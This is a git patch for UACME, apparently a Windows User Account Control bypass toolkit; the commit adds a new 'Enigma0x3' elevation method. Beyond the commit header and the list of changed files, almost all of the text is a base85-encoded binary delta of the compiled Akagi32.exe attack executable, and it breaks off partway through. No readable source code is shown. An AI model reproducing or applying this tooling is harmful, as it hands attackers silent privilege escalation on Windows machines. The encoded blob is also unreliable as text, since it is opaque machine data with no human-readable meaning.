From 794f24ade874849c61097e48653b57b4c4f0472d Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Wed, 18 Jan 2017 14:45:50 +0700 Subject: [PATCH] v 2.5.3 Enigma0x3 method integrated as #25, some tweaks --- Compiled/Akagi32.exe | Bin 264192 -> 265728 bytes Compiled/Akagi64.exe | Bin 309760 -> 311808 bytes README.md | 10 +- Source/Akagi/Resource.rc | Bin 6120 -> 6120 bytes Source/Akagi/bin/fubuki32.cd | Bin 11660 -> 11680 bytes Source/Akagi/bin/fubuki64.cd | Bin 11831 -> 11849 bytes Source/Akagi/comet.c | 224 ++++++++++++------------- Source/Akagi/consts.h | 6 +- Source/Akagi/enigma0x3.c | 103 ++++++++++++ Source/Akagi/enigma0x3.h | 24 +++ Source/Akagi/global.h | 6 +- Source/Akagi/hybrids.c | 256 ++++++++++++++++++++--------- Source/Akagi/main.c | 39 ++++- Source/Akagi/sirefef.h | 120 ++++++++++++++ Source/Akagi/sup.c | 52 ++++-- Source/Akagi/sup.h | 16 +- Source/Akagi/uacme.vcxproj | 3 + Source/Akagi/uacme.vcxproj.filters | 9 + Source/Akagi/uacme.vcxproj.user | 2 +- Source/Fubuki/dllmain.c | 8 +- Source/Fubuki/version.rc | Bin 5236 -> 5236 bytes Source/Shared/ntos.h | 9 +- UACME.sha256 | 39 +++-- 23 files changed, 679 insertions(+), 247 deletions(-) create mode 100644 Source/Akagi/enigma0x3.c create mode 100644 Source/Akagi/enigma0x3.h create mode 100644 Source/Akagi/sirefef.h diff --git a/Compiled/Akagi32.exe b/Compiled/Akagi32.exe index 9c4694653197a3dec8c639f1107360c501410c13..37a676c7c7658439661eab48f671ba126eebe7d1 100644 GIT binary patch delta 25389 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 